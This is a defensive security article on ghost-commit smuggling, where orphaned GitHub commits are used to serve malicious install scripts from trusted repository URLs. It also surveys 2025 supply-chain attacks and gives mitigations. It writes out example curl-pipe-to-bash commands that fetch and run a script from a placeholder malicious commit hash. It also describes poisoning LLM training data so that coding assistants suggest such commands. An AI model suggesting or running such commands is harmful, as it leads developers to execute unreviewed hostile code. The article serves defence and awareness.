GitHub “Ghost-Commit” Smuggling: Hiding in the Detached Head 👻🛠️

Introduction: The Invisible Threat in Your Supply Chain

In the modern DevSecOps landscape, we are trained to trust the “Green Checkmark.” We trust verified commit signatures, we trust the main branch history, and we trust that if code is hosted on a reputable repository (like github.com/facebook/react or github.com/torvalds/linux), it adheres to the project’s governance.

However, a subtle but dangerous attack vector known as “Ghost-Commit Smuggling” turns this trust against developers. By exploiting the gap between Git’s strict graph theory and GitHub’s availability-focused architecture, attackers can host malicious code on legitimate, high-reputation repositories without it ever appearing in the project’s visible history (git log).

This attack does not require compromising a maintainer’s account or merging a Pull Request. It relies on the concept of “orphaned” or “dangling” commits—code that exists in the database but is reachable only if you already know where to look.

This article dissects the mechanics of Ghost-Commit Smuggling, why it persists despite platform safeguards, how it is weaponized in automated scripts and AI-generated documentation, and examines recent real-world attacks that have exploited these vulnerabilities.

1. What is Ghost-Commit Smuggling?

Ghost-Commit Smuggling is a supply-chain attack technique where an attacker pushes a commit to a repository (often a fork or a branch they have access to) and immediately deletes the reference (the branch or tag) pointing to it.

While the branch is gone, the commit object itself remains in the remote server’s database.

The Attack Scenario

Injection: The attacker pushes a malicious commit (e.g., adding a crypto miner or a backdoor to an installation script) to a temporary branch: feature/innocent-update.

Obfuscation: The attacker deletes the branch feature/innocent-update.

Persistence: The commit is now “orphaned” (dangling). It does not appear in the repository’s file tree, commit history, or search results.

Weaponization: The commit is still accessible via its direct SHA-1 hash. The attacker constructs a “valid” URL:

curl -L https://raw.githubusercontent.com/trusted-org/repo/8f3a1b2c...[MALICIOUS_HASH]/install.sh | bash

Distribution: This URL is shared in forums, StackOverflow answers, or injected into LLM training data so that AI coding assistants suggest it to unsuspecting developers.

The victim sees a URL pointing to github.com/trusted-org and assumes it is safe, unaware they are pulling code that exists in the “netherworld” of the repository’s database.

2. Technical Deep Dive: Why Do Ghost Commits Persist?

To understand why this vulnerability exists, we must look at the difference between Git (the protocol) and GitHub/GitLab (the platforms).

Git Internals: Reachability vs. Existence

Git is a content-addressable filesystem. When you create a commit, it is a discrete object stored in the .git/objects directory, identified by the SHA-1 hash of its contents.

References (Refs): Branches and tags are simply “pointers” (text files) that hold the hash of a specific commit.

Reachability: A commit is “reachable” if you can start at a Ref (like main) and trace a line of parentage back to it.

When you delete a branch (git branch -D feature), you are only deleting the pointer. The actual commit object (and the file blobs it references) remains on the disk. In a local environment, these are eventually cleaned up by a process called Garbage Collection (GC).

The Cloud Persistence Problem

Platforms like GitHub and GitLab operate differently than your local machine for performance and recovery reasons.

Lazy Garbage Collection: Running git gc is computationally expensive. Cloud platforms do not run GC immediately after every push or branch deletion. They rely on “heuristical housekeeping.” An orphaned object might persist for weeks, months, or indefinitely depending on the repository’s size and activity.

The “Cached View” Dilemma: To speed up web browsing, these platforms cache commit views. Even if an object is technically eligible for deletion, the web application layer may still serve the content if requested by its hash.

Fork Pools: On GitHub, forks of a repository often share a common “object pool” on the backend to save storage. If any fork references a commit, or if the commit exists in the shared pool, it might remain accessible via the parent repository’s URL, even if the parent repository never “owned” that commit.

Key Fact: You can often access a commit pushed to a fork via the URL of the upstream parent repository, provided they share an object pool. This allows attackers to create the illusion that the malicious code is hosted by the upstream maintainer.

Recent Research: The “Oops Commits” Investigation (2025)

In September 2025, security researcher Sharon Brizinov, in collaboration with Truffle Security, conducted a comprehensive investigation that uncovered thousands of secrets in GitHub’s “oops commits”—force-pushed or deleted commits that remain archived indefinitely.

The research revealed that GitHub retains every public commit, even those developers attempt to erase through force pushes, as “zero-commit” PushEvents in its archive. By scanning all of these dangling commits since 2020 using data from GitHub Archive, Brizinov discovered secrets that led to approximately $25,000 in bug bounty rewards, particularly exposing GitHub Personal Access Tokens and AWS credentials that could have led to wide-ranging supply-chain attacks.

Key findings included:

A large volume of active secrets, such as MongoDB credentials and API tokens, found in .env and common config files
The Force Push Scanner tool was developed to identify and scan orphaned commits within GitHub organizations
Evidence that commits intended to be removed are often still accessible indefinitely
Confirmation that “there isn’t a proven way to delete a commit once it leaves your machine”

One particularly striking example involved the Istio project (a service mesh platform for Kubernetes), where an orphaned commit contained an administrative-level access token that provided direct access to all repositories within the Istio project. Because the commit was orphaned but still stored by GitHub, the researcher could retrieve and analyze it, revealing the full scope of the compromised credentials.

3. The Weaponization Vector: “curl | bash” and AI Poisoning

The most common exploitation method involves installation scripts. Many modern developer tools are installed via:

curl -fsSL https://github.com/user/project/raw/main/install.sh | bash

Security-conscious developers might inspect the install.sh on the main branch. However, attackers smuggle the ghost commit hash into the URL:

# Looks legitimate: Domain is correct, Repo is correct.
curl -fsSL https://github.com/user/project/raw/5d8e1f...[GHOST_HASH]/install.sh | bash

The AI Hallucination & Poisoning Multiplier

This attack vector has gained renewed urgency with the rise of Generative AI.

Training Data Poisoning: Attackers can seed forums and public datasets with “setup guides” that use these ghost hashes.

Hallucination: LLMs often generate code snippets that look correct but use specific, outdated, or hallucinated hashes. If an attacker can generate a hash collision (extremely difficult with SHA-1, but theoretically possible) or simply predict a hash, they could inhabit a link an AI is likely to generate.

Result: A developer asks ChatGPT or Copilot “How do I install tool X?”, and the AI provides a valid-looking command with a specific hash. If that hash points to a ghost commit (either by accident or malicious seeding), the developer executes unreviewed code.

Real-World Exploitation: Recent Supply Chain Attacks (2025-2026)

The theoretical threat of ghost commits has materialized into devastating real-world attacks throughout 2025 and early 2026:

The GhostAction Campaign (September 2025)

GitGuardian discovered a massive supply chain attack affecting 327 GitHub users across 817 repositories. Attackers injected malicious workflows that exfiltrated 3,325 secrets, including PyPI, npm, and DockerHub tokens via HTTP POST requests to a remote endpoint.

The campaign worked by: - Compromising GitHub user accounts - Analyzing legitimate workflow files to identify available secrets - Injecting malicious workflows disguised as “Github Actions Security” - Extracting secrets from CI/CD environments and sending them to attacker-controlled endpoints

A second wave in September 2025 saw about 500 new commits pushed to GitHub repositories with similar malicious payloads, targeting previously compromised repositories with an updated exfiltration endpoint.

The tj-actions/changed-files Compromise (March 2025)

A supply chain attack compromised the widely-used tj-actions/changed-files GitHub Action, impacting over 23,000 repositories. Attackers retroactively modified multiple version tags to reference a malicious commit, exposing CI/CD secrets in workflow logs.

The attack involved: - Modifying the GitHub Action to execute a malicious Python script - Extracting secrets from the Runner Worker process memory - Printing secrets in GitHub Actions logs, making them publicly accessible in repositories with public workflow logs

The vulnerability was active between March 14 and March 15, 2025, tracked as CVE-2025-30066.

Shai-Hulud 2.0: The Wormable Supply Chain Attack (November 2025)

Perhaps the most sophisticated attack came in November 2025 with Shai-Hulud 2.0, which compromised approximately 796 npm packages with combined weekly downloads in the tens of millions within just 72 hours.

The attack featured: - Self-replicating worm capabilities that automatically infected dependent packages - Credential harvesting at massive scale targeting npm tokens, GitHub credentials, AWS keys, and cloud secrets - A destructive “dead man’s switch” that could wipe entire developer environments - Abuse of preinstall lifecycle scripts allowing malicious code to run before installation completes

The malware disguised itself by appearing to install the Bun JavaScript runtime via legitimate-looking commands:

curl -fsSL https://bun.sh/install | bash

Once executed, it harvested credentials using TruffleHog and Azure CLI, then exfiltrated data to public GitHub repositories with descriptions referencing “Shai-Hulud.”

Notable characteristics: - Cross-victim exfiltration: secrets from one victim were exfiltrated to public repositories owned by other, unrelated victims - Over 25,000 GitHub repositories compromised - First wave in September 2025 compromised 187 packages and stole approximately $50 million in cryptocurrency - AI-generated malicious code (researchers assessed with moderate confidence that an LLM was used to generate the bash script)

CVE-2025-48384: Git RCE Vulnerability (July 2025)

In July 2025, a critical Git vulnerability was disclosed that could be exploited to write malicious Git Hook scripts, resulting in remote code execution whenever subcommands like git commit and git merge were run.

An attacker could craft a malicious .gitmodules file with submodule paths ending in a carriage return. Due to Git’s config parser behavior, this character may be stripped on read but preserved on write, allowing malicious redirection of submodule contents.

By September 2025, CISA added this vulnerability to its Known Exploited Vulnerabilities (KEV) catalog after proof-of-concept exploits were found actively being used in the wild.

4. Real-World Implications and Risks

1. Bypassing Code Review

Because the commit is dangling, it does not appear in the “Commits” list or the “Network” graph of the repository. A security audit of the main branch will never find it. The code exists in a blind spot.

2. Immutable Malice

Once a developer uses a script with a specific hash, they are “pinned” to that version. Unlike a branch reference (which can be updated by maintainers to patch a vulnerability), a commit hash is immutable. If a user’s CI/CD pipeline is hardcoded to use a ghost hash, they remain compromised forever, even if the repository maintainer updates the main branch.

3. Persistent Secrets Leaks

This mechanism is also why “deleting a branch” does not fix a credential leak. If you accidentally commit an API key and then delete the branch, bots scanning the “PushEvents” API have already archived the hash. They can still access the “deleted” file via the raw URL indefinitely.

As GitHub clearly states: any sensitive data committed to GitHub should be considered compromised, regardless of whether the commit starts private and ends public, or is deleted via force push.

4. Cross-Fork Object Reference

Research from Truffle Security in 2025 revealed that fork commits can be accessed through the parent repository due to shared object pools. This means an attacker can push malicious code to their fork and have it accessible via the upstream maintainer’s repository URL, creating the illusion of legitimate code.

5. Detection and Mitigation

How do we defend against an invisible enemy?

For Repository Maintainers

1. Aggressive Garbage Collection (Self-Hosted)

If you are running GitLab Self-Managed or GitHub Enterprise Server, you can configure aggressive housekeeping policies.

GitLab: Configure git gc to run more frequently and prune unreachable objects sooner (gc.pruneExpire).
GitHub: You cannot manually trigger GC on github.com. You must contact GitHub Support if you need to scrub sensitive data or known malicious hashes immediately.

2. The `git fsck` Command

To find dangling commits in a local clone (or on a server you control):

git fsck --lost-found

This will print a list of “dangling commits.” You can then inspect them. Note that git fetch generally does not download dangling commits from a remote, so detection is difficult without server-side access.

To manually run garbage collection and prune all unreachable objects immediately:

git gc --prune=now

This tells Git to disregard the two-week safety net and delete all dangling commits regardless of time.

3. Restrict Forking (Drastic)

In high-security environments, restricting forks prevents the “object pool” sharing behavior, ensuring that commits pushed to a user’s fork cannot be accessed via the organization’s repository URL.

4. Monitor for Force Push Events

Use tools like the Force Push Scanner (developed by Truffle Security and open-sourced in 2025) to: - Identify orphaned commits within your GitHub organization or user account - Mine the GH Archive dataset using BigQuery - Apply TruffleHog scanning to uncover hidden secrets and vulnerabilities

5. Implement GitHub’s Security Features

Push Protection: Now enabled by default for many organizations, prevents secrets from being pushed (though it doesn’t scan for malicious logic)
Secret Scanning: Automatically detects leaked credentials
Branch Protection Rules: Require reviews for workflow changes

For Developers and Users (Crucial)

1. The “Main Only” Rule

NEVER run a curl | bash command that points to a specific commit hash (/raw/<SHA1>/) unless you have personally reviewed that specific commit in the context of the repository history.

Safe®: curl .../raw/main/install.sh (Trusts the latest version)
Safe®: curl .../raw/v1.0.2/install.sh (Trusts a specific tag)
Unsafe: curl .../raw/a1b2c3d4.../install.sh (Blind trust in a static object)

2. Verify Commit Reachability

If you must use a specific hash, verify it is part of the main history:

git branch -r --contains <HASH>

If this command returns nothing, the commit is dangling. Do not use it.

3. Pin by Tag, Not Hash

When configuring CI/CD pipelines, pin versions using signed Tags (e.g., v1.2.0) rather than raw commit hashes, whenever possible. If you must pin by hash for immutability, ensure that hash is the tip of a known tag.

4. Audit Your Dependencies

Regularly review: - Setup scripts and installation commands - CI/CD pipeline configurations - Any references to raw commit hashes in your codebase

If you see a raw commit hash, investigate it. If git branch --contains comes up empty, you might be looking at a ghost.

5. Use Security Scanning Tools

Implement tools to detect exposed secrets: - TruffleHog: Scans for secrets in Git repositories - GitGuardian: Monitors for secret leaks in real-time - GitHub Advanced Security: Provides secret scanning and code scanning

6. Revoke Compromised Credentials Immediately

If you’ve accidentally committed secrets: - Assume they are compromised even if you deleted the branch - Immediately revoke and rotate all credentials - Use secret management platforms like HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault - Implement automated rotation processes

7. Restrict Lifecycle Scripts in CI/CD

The Shai-Hulud attacks demonstrated the danger of npm’s preinstall and postinstall hooks: - Disable or restrict lifecycle scripts in CI/CD environments - Limit outbound network access from build systems to trusted domains only - Use short-lived, scoped automation tokens - Implement phishing-resistant MFA for developer and CI/CD accounts

6. Current State of the Platform (2025-2026)

As of early 2026, GitHub and GitLab have introduced some mitigations, but the core behavior remains an architectural reality.

GitHub’s Mitigations

Push Protection: This feature (now enabled by default for many organizations) prevents secrets from being pushed. However, it does not scan for malicious logic (e.g., a reverse shell) in dangling commits.

Commit Warnings: GitHub now displays a banner warning “This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository” when viewing such commits in the UI. Heed this warning.

Retention Policies: GitHub’s documentation states that unreachable objects are eventually garbage collected, but “eventually” is not a guarantee. Empirical tests show objects can persist for 90+ days or longer if they are part of a fork network.

Advanced Security Features: GitHub Advanced Security now includes: - Dependency review - Secret scanning alerts - Code scanning with CodeQL - Supply chain security insights

Industry Response

The security community has responded to the escalating threat:

CISA’s KEV Catalog: The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added several Git-related vulnerabilities to its Known Exploited Vulnerabilities catalog, ordering federal agencies to mitigate them.

npm Security Changes: Following the Shai-Hulud attacks, npm announced in November 2025 that it will revoke classic tokens on December 9, 2025, forcing migration to more secure token types.

Increased Awareness: Major security vendors (Microsoft, Palo Alto Networks, Wiz, GitGuardian, Trend Micro) have published detailed analyses and detection guidance for supply chain attacks.

7. The Broader Supply Chain Security Crisis of 2025

The ghost commit vulnerability exists within a larger context of supply chain security challenges that dominated 2025:

Notable Attack Patterns

Developer Targeting: Sophisticated social engineering campaigns targeting developers, including fake job interviews (Contagious Interview campaign by North Korean actors) and phishing campaigns spoofing npm support.

CI/CD Manipulation: Attackers increasingly targeting GitHub Actions, GitLab CI, and other automation platforms to steal secrets and inject malicious code.

AI-Powered Attacks: Evidence of LLMs being used to generate sophisticated malware and exploitation scripts, including the S1ngularity campaign that weaponized AI CLI tools (Claude, Gemini, Amazon Q) for reconnaissance.

Wormable Malware: Self-replicating supply chain attacks that automatically propagate through dependency trees, as seen with Shai-Hulud.

Cross-Victim Exfiltration: Attackers using victims’ own infrastructure (public GitHub repositories) to exfiltrate and store stolen credentials, making attribution difficult.

Timeline of Major 2025 Supply Chain Events

January 2025: Operation 99 (Lazarus Group) targets Web3 developers
March 2025: CVE-2025-30066 (tj-actions/changed-files compromise)
May 2025: rand-user-agent malicious release
July 2025: CVE-2025-48384 (Git RCE vulnerability)
August 2025: Nx packages compromised (S1ngularity campaign)
September 2025:
- GhostAction campaign (817 repos, 3,325 secrets)
- Shai-Hulud 1.0 (187 packages, $50M cryptocurrency theft)
- Sharon Brizinov’s “Oops Commits” research published
November 2025:
- Shai-Hulud 2.0 (796 packages, 25,000+ repos)
- GitLab discovers widespread npm supply chain attack
December 2025: React Server Components vulnerability exploited (CVE-2025-55182)

Conclusion

The “Ghost-Commit” is not a bug; it is a feature of distributed version control colliding with the realities of cloud storage. It allows the past to haunt the present.

For attackers, it offers a perfect hiding spot: a legitimate domain, a valid SSL certificate, and zero visibility in the audit logs. For developers, it serves as a stark reminder: Identity is not Integrity. Just because a file is served from github.com/microsoft or github.com/google does not mean it is endorsed by those organizations if you are accessing it via a dangling hash.

The events of 2025 have proven that supply chain attacks are no longer theoretical—they are an active, evolving threat that has cost the industry hundreds of millions of dollars and compromised thousands of organizations. The convergence of several factors makes this particularly dangerous:

Persistent object storage in cloud-based Git platforms
Widespread use of curl | bash installation patterns
AI systems that can hallucinate or be poisoned with malicious installation commands
Sophisticated attackers leveraging AI to generate malware
Developer trust in repository URLs and package ecosystems

Actionable Takeaway

Audit your setup scripts and CI/CD pipelines today. If you see a raw commit hash, investigate it. If git branch --contains comes up empty, you might be looking at a ghost. Implement defense-in-depth strategies:

Never execute code from commit hashes
Always verify commit reachability
Use signed tags for version pinning
Implement secret scanning and rotation
Restrict lifecycle scripts in CI/CD
Monitor for unauthorized repository activity
Maintain phishing-resistant MFA
Assume any committed secret is compromised forever

The supply chain security landscape has fundamentally changed. Organizations must now treat their developer environments, CI/CD pipelines, and dependency management with the same security rigor previously reserved for production systems. The ghost commits lurking in repositories worldwide represent just one vector in a multi-faceted threat that requires comprehensive, layered defenses.

Frequently Asked Questions (FAQ)

Q: Can I delete a ghost commit myself?

A: On github.com, generally no. If you delete the branch, the commit enters the “orphaned” state but remains accessible. To permanently scrub it (e.g., for legal or severe security reasons), you must contact GitHub Support to request a manual GC and cache clear of the repository network. Even then, if the commit was pushed to a fork or captured by archival services, it may persist indefinitely.

Q: Does this affect private repositories?

A: Yes. If an attacker has write access (or a collaborator goes rogue), they can push a ghost commit. If the repo is later made public, or if the hash is leaked, the code remains accessible. Research has shown that when private repositories are open-sourced, dangling commits carry over to the public version, potentially exposing sensitive data that was never intended to be public.

Q: Is git reset --hard enough to remove local ghost commits?

A: Locally, git reset moves the branch pointer. The commit remains in your local .git folder until you run git gc --prune=now. However, this only cleans your local machine, not the remote server. Once pushed to a remote like GitHub, the commit is stored on their servers and follows their garbage collection policies.

Q: How long do ghost commits persist on GitHub?

A: GitHub’s official policy states that unreachable objects are eventually garbage collected, but provides no specific timeline. Empirical research from 2025 shows objects can persist for 90+ days or indefinitely if part of a fork network. Some researchers found commits accessible years after deletion. The practical answer is: indefinitely until manual intervention.

Q: Can I safely open-source a private repository?

A: Not by simply changing the visibility. Truffle Security recommends creating a completely new public repository and copying only the current code:

# Make sure you have backups
cd <repo>
rm -rf .git
git init
git add .
git commit -m "initial commit"
git branch -M main
git remote add origin https://github.com/<user>/<new-repo>.git
git push -u origin main

This ensures no dangling commits, pull request history, or secrets from the private repository carry over.

Q: What should I do if I accidentally committed a secret?

A: Assume it is already compromised:

Immediately revoke and rotate the credential
Do not rely on deleting the branch or force-pushing to remove it
Review GitHub Archive and GH Archive for potential captures
Consider contacting GitHub Support for emergency scrubbing
Implement secret scanning tools to prevent future incidents
Move to proper secret management (Vault, AWS Secrets Manager, etc.)

Q: Are AI coding assistants making this worse?

A: Yes. Research shows that: - LLMs can hallucinate installation commands with specific commit hashes - Attackers can poison training data with malicious commands - AI tools may suggest outdated or compromised package versions - Developers increasingly trust AI-generated code without verification

The S1ngularity campaign in August 2025 specifically weaponized AI CLI tools for malware reconnaissance, demonstrating that AI is both a vector and a target for supply chain attacks.

Q: How can I protect my organization?

A: Implement a comprehensive defense strategy:

Prevention: - Enforce phishing-resistant MFA for all developer accounts - Use branch protection rules requiring reviews - Implement secret scanning and push protection - Educate developers on supply chain threats - Maintain an inventory of all dependencies

Detection: - Monitor for force push events and dangling commits - Use tools like Force Push Scanner and TruffleHog - Implement SIEM alerting for suspicious Git activity - Regularly audit CI/CD configurations - Track new GitHub repository creations in your organization

Response: - Have an incident response plan for supply chain compromises - Maintain offline backups of critical repositories - Establish communication channels with security vendors - Prepare credential rotation procedures - Document your software bill of materials (SBOM)

Q: Is this just a GitHub problem?

A: No. While this article focuses on GitHub, similar behaviors exist in GitLab, Bitbucket, and other Git hosting platforms. The underlying issue is fundamental to how distributed version control systems interact with cloud storage. However, GitHub’s dominance in the open-source ecosystem and its fork-sharing architecture make it a particularly attractive target.

Disclaimer: This article is for educational purposes only. Understanding attack vectors is the first step in securing software supply chains. The techniques described should only be used for legitimate security research and defense. Always obtain proper authorization before testing security measures on systems you do not own.

About the Author: This article synthesizes research from multiple security firms and independent researchers who have investigated Git-based supply chain attacks. Special acknowledgment to GitGuardian, Truffle Security, Sharon Brizinov, Microsoft Security, Palo Alto Networks Unit 42, and the broader security research community for their contributions to understanding these threats.

Last Updated: February 10, 2026